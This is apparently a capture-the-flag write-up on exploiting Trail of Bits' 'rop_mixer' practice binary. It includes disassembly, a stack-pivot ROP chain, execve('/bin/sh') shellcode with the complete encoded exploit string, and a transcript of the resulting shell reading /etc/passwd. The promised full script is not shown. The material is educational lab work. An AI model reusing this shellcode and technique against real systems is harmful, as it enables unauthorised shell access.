Trail of Bits CTF 5/5 Rop Mixer
Trail of Bits released a number of CTF challeleges on Github.
This post is about the rop_mixer
binary exploitation challenge.
The rop_mixer
challenge is found in the ctf/exploits/binary2_workshop/rop_mixer/
directory. It contains only a single binary (rop_mixer
), a shell script to make it available over the network with socat and no source code.
This one is different from the other challenges in that it is not a vulnerable application; it doesn’t have any supposed purpose besides being exploited.
| 0x0804884c b83ca00408 mov eax, loc.NASM_BEGIN
...
| 0x0804886f c74424080010. mov dword [local_8h], 0x1000
...
| 0x0804887b 89442404 mov dword [local_4h], eax
| 0x0804887f c70424000000. mov dword [esp], 0
| 0x08048886 e8e5fbffff call sym.imp.read
| 0x0804888b 8d44242c lea eax, [local_2ch]
| 0x0804888f 89c4 mov esp, eax
\ 0x08048891 c3 ret
Up to 0x1000 bytes are read from stdin into a buffer and then this buffer is swapped with esp. So this new buffer is effectively our new stack and we can feed our rop chain into it directly without fiddling with buffer overflows and offsets. It appears that the rest of the code only exists to provide rop gadgets. I’m not sure if the gadgets are enough to get a shell, I spent some time trying but couldn’t figure it out. Fortunately, this buffer holding our rop chain is also executable.
[0x08048530]> is | grep NASM_BEGIN
vaddr=0x0804a03c paddr=0x0000103c ord=121 fwd=NONE sz=0 bind=GLOBAL type=NOTYPE name=NASM_BEGIN
[0x08048530]> iS | grep 0x0804a03c
idx=25 vaddr=0x0804a03c paddr=0x0000103c sz=784 vsz=784 perm=--rwx name=.ROP_MIX
So the strategy I went with is using the rop chain to redirect execution to the rwx buffer.
However, if we do that, esp and eip will be pointing to the same address and bad things will happen, the return address from this gadget (0x080485e1) will be executed as code (e185 loope 0xfff36d93
, 0408 add al, 8
).
So the first thing to do is move the stack pointer a little bit further into the buffer and put the call eax
gadget there.
Unfortunately 0x1c bytes does not seem to be enough space for my shellcode, so lets add code to jmp
over the gadget address (which is clobbered by the return address from call eax
at this point) and fill the gap with nop
s. So far the exploit string looks like this:
We can use rasm2 (part of Radare2) to assemble arbitrary instructions:
† rasm2 -ix86 'jmp 4'
eb02
Using non-ascii characters in strings causes Ruby’s do-what-i-mean semantics to go a little wrong (Ruby is being reasonable, we are the ones trying to do something weird). To deal with that we will run our shell code through an enc
function.
From this point on we can execute whatever shellcode we want. To evecve
a shell we need:
eax = 0x0b
ebx = "/bin/sh"
ecx = 0
edx = 0
and then invoke a system call with int 0x80
.
The placement of the “/bin/sh” string complicates things. One thing we can do is place it inline with the shell code and then jmp
over it during execution. It is not possible to mov
the value of eip
into a general purpose register though. One way to get the value is to call
and immediately return, leaving eip
on the stack.
mov edi, 0x08048910
call edi
mov ebx, esp - 4
jmp 0x0a
"/bin/bash"
add ebx, 9
We can add them to our exploit string like this:
And what’s left is setting the remaining registers with immediate values and invoking the syscall.
mov eax, 0xb
xor ecx, ecx
xor edx, edx
int 0x80
So our complete exploit string looks like this:
"\f\x89\x04\b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x02\xDF\x85\x04\b\x81\xC4\x00\x01\x00\x00\xBF\x10\x89\x04\b\xFF\xD7\x8B\x9C$\xFC\xFF\xFF\xFF\xEB\b/bin/sh\x00\x83\xC3\t\xB8\v\x00\x00\x001\xC91\xD2\xCD\x80"
We can spawn the binary locally (useful for debugging) or netcat to connect remotely using Ruby’s PTY module part of the standard library.
Send the exploit string
To make our shell interactive, it does not seem like Ruby has a ready made interact
function, but we can implement it ourselves in a few lines of code. We basically just need to select(2)
on stdin of the script and stdout of rop_mixer
or netcat
and shuffle data from one world to the other.
And that’s it.
Our interactive shell does not have a $PS1 prompt or job control but it is functional enough. In this example I ran ls
followed by head /etc/passwd
.
† ruby mixer_exp.rb
nc: using stream socket
WELCOME TO THE ROP MIXER
There are 49 gadgets
GOOD LUCK WITH YOUR GADGETS
TÐ(ÐÐZÐÐÐRÐWÐSÐÐÐ_ÐÐ0Ð]Ð̀Ð ÐÐQÐ8ÐÐUÐÐVÐXÐ^ÐÐYÐ[ÐÐ$ÐPÐEÐÐÐ\Ðls
host.sh
rop_mixer
head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
Below is the full exploit script.